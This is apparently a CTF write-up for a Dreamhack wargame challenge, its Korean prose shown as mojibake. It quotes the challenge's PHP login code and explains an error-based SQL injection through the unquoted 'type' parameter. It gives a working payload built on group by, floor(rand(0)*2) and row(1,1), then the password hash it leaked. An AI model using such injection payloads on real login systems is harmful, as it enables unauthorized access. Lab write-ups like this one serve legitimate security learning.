1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/342
2.ํด๊ฒฐ ๊ณผ์
id๋ ip์ฃผ์์ ํ์์ผ๋ก ๋์ด ์๊ณ id๋ ์ ๋ ฅ์ฐฝ์์๋ ๋ฐ๋ก ์์ ์ด ๋ถ๊ฐ๋ฅํ๋ฉฐ, ํจ์ค์๋์ ์๋ฌด๋ด์ฉ์ด๋ ์ ๋ ฅํ๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค.
(1) ์ฝ๋ ๋ถ์
ํ๋๊ทธ๋ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ ๋ค, ํจ์ค์๋๋ฅผ ํ ๋ฒ ๋ ํ์ธํ๊ณ ์ถ๋ ฅํด์ค๋ค.
-> ๊ฒฐ๊ตญ ๋ฌธ์ ๋ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ ๊ฒ์ด ์๋๋ผ ์ ํํ ํจ์ค์๋๋ฅผ ์ ๋ ฅํด์ผ ํ๋ ๊ฒ
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("./inc.php"); // database connect, $FLAG.
ini_set('display_errors',false);
function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
function uniq($data){ return md5($data.uniqid());}
function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };
if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
err("Parameter Error :: missing");
}
$id=mysql_real_escape_string($_POST['id']);
$ps=mysql_real_escape_string($_POST['pw']);
$type=mysql_real_escape_string($_POST['type']);
$ip=$_SERVER['REMOTE_ADDR'];
sleep(2); // not Bruteforcing!!
if($id!=$ip){
err("SECURITY : u can access with allotted id only");
}
$row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
if($row[0]!=1){
if(false === make_id($id)){
err("DB Error :: create user error");
}
}
$row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
$log_count = (int)$row[0];
if($log_count >= 4){
pw_change($id);
count_init($id);
err("SECURITY : bruteforcing detected - password is changed");
}
t_table($id); // don`t access the other account
if(preg_match("/all_user_accounts/i",$type)){
err("SECURITY : don`t access the other account");
}
counting($id); // limiting number of query
if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
err("DB Error :: ".mysql_error());
}
$row=mysql_fetch_array($result);
if(empty($row['user_id'])){
err("Login Error :: not found your `user_id` or `password`");
}
echo "welcome <b>$id</b> !! (Login count = $log_count)";
$row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));
//patched 04.22.2015
if (empty($ps)) err("DB Error :: data not found..");
if($row['ps']==$ps){ echo "<h2>wow! FLAG is : ".$FLAG."</h2>"; }
?>
์ ๋ ฅ๊ฐ์ POST๋ฉ์๋๋ฅผ ํตํด ์์ฒญ์ ๋ณด๋ธ๋ค.
ํน์๋ฌธ์ ๋ค์ ๋ฐฑ์ฌ๋์๋ฅผ ์ถ๊ฐํ๋ mysql_real_escape_string ํจ์๋ฅผ ์ฌ์ฉํด ์ ๋ ฅ๊ฐ์ ์ฒ๋ฆฌํ์ฌ SQL ์ธ์ ์ ์ ๋ฐฉ์งํ๊ณ , ip์ฃผ์๋ฅผ ๊ฐ์ ธ์ id์ ๋์ผํ์ง ์์ผ๋ฉด ์๋ฌ๋ฅผ ๋ฐ์์ํจ๋ค. ํ์ ์ด 1์ผ ๋(admin), id๊ฐ์ด all_user_acccounts ํ ์ด๋ธ์ ์กด์ฌํ์ง ์์ผ๋ฉด ๊ณ์ ์ ์์ฑํ๋ค.
๋ํ sleep(2)ํจ์๋ฅผ ํตํด 2์ด๋์ ์ง์ฐ์ ๋ฐ์์์ผ ๋ธ๋ฃจํธ ํฌ์ค๋ฅผ ๋ฐฉ์ดํ๊ณ , ์์ ํ ์ด๋ธ์ ์์ฑํ์ฌ ์ ๋ ฅํ id์ ํด๋นํ๋ ์ฌ์ฉ์์ ๊ณ์ ์๋ง ์ ๊ทผ ๊ฐ๋ฅํ๋๋ก ํ๋ค,
๋ํ, ๋ก๊ทธ์ธ ์๋๋ฅผ ๊ธฐ๋กํ์ฌ 4๋ฒ์ด์ ๋ก๊ทธ์ธ ์๋๋ฅผ ํ๋ฉด ํจ์ค์๋๋ฅผ ๋ณ๊ฒฝํ๋ค
(2) ์ต์คํ๋ก์
ํจ์ค์๋์ 123์ ์ ๋ ฅํ๊ณ ํจํท์ ํ์ธํด๋ณด๋ฉด ๋ฐ๋๊ฐ์ ํด๋น ๊ฐ์ด ์ ์ ๋ฌ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
.
๋ก๊ทธ์ธ ์๋์์ ์ฟผ๋ฆฌ๋ฌธ์ ๋ณด๋ฉด type๋ณ์๋ ๋ค๋ฅธ ๋ณ์์ ๋ฌ๋ฆฌ ๋ฌธ์์ด๋ก์ ์ฝ์ ๋์ง ์๊ณ ์ง์ ์ ์ผ๋ก ์ฝ์ ์ด ๋๋ค.
์ฆ, mysql_real_escape_stringํจ์๊ฐ ๋ฌด์ฉ์ง๋ฌผ์ด ๋๋ค.
๋ฐ๋ผ์ ์ด๋ฅผ ์ด์ฉํด์ 1์ฐจ์ ์ผ๋ก ๋ก๊ทธ์ธ ์๋๋ฅผ ์งํํด๋ณด์๋ค.
select * from t_user where user_id='$id' and ps='$ps' and type=$type
๋ก๊ทธ์ธ์ ์ฑ๊ณตํ์๋ค. ๋ฐ๋ผ์ type์นธ์ sqli ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด๋๋ก ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ ๊ฒ์ด๋ค.
์ดํ ๋ค์ํ sql ์ฟผ๋ฆฌ๋ฌธ์ ๋ง๋ค์ด๋ณด์์ง๋ง, ๊ฐ๋ฅํ ๊ฒ์ group by๋ฅผ ์ด์ฉํ ์๋ฌ based sqli๋ฌธ์ด์๋ค.
๋ํ ์ฒ์์๋ Select 1 ์ ์ด์ฉํด์ ์ต์คํ๋ก์ ํด๋ณด๋ ค๊ณ ํ์ง๋ง ๋ถ๊ฐ๋ฅ ํ์๋ค.
๊ทธ ์ด์ ๋
๋ฐ๋ผ์ row(1,1)์ ์ด์ฉํ๊ณ ๊ตฌ๊ธ๋งํ ํ์ด๋ก๋๋ฅผ ์ฝ๊ฐ ๋ณํํด์ ์์ฑํ์๋ค.
1 or row(1,1)>(select count(*),concat(ps,0x41,floor(rand(0)*2)) as test from information_schema.tables group by test limit 1)
d61c5f7c3b1b7e3f06c89f9c2e144caf
์์๋ธ pw๊ฐ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ํ๋๊ทธ ๊ฐ์ด ๋์จ๋ค.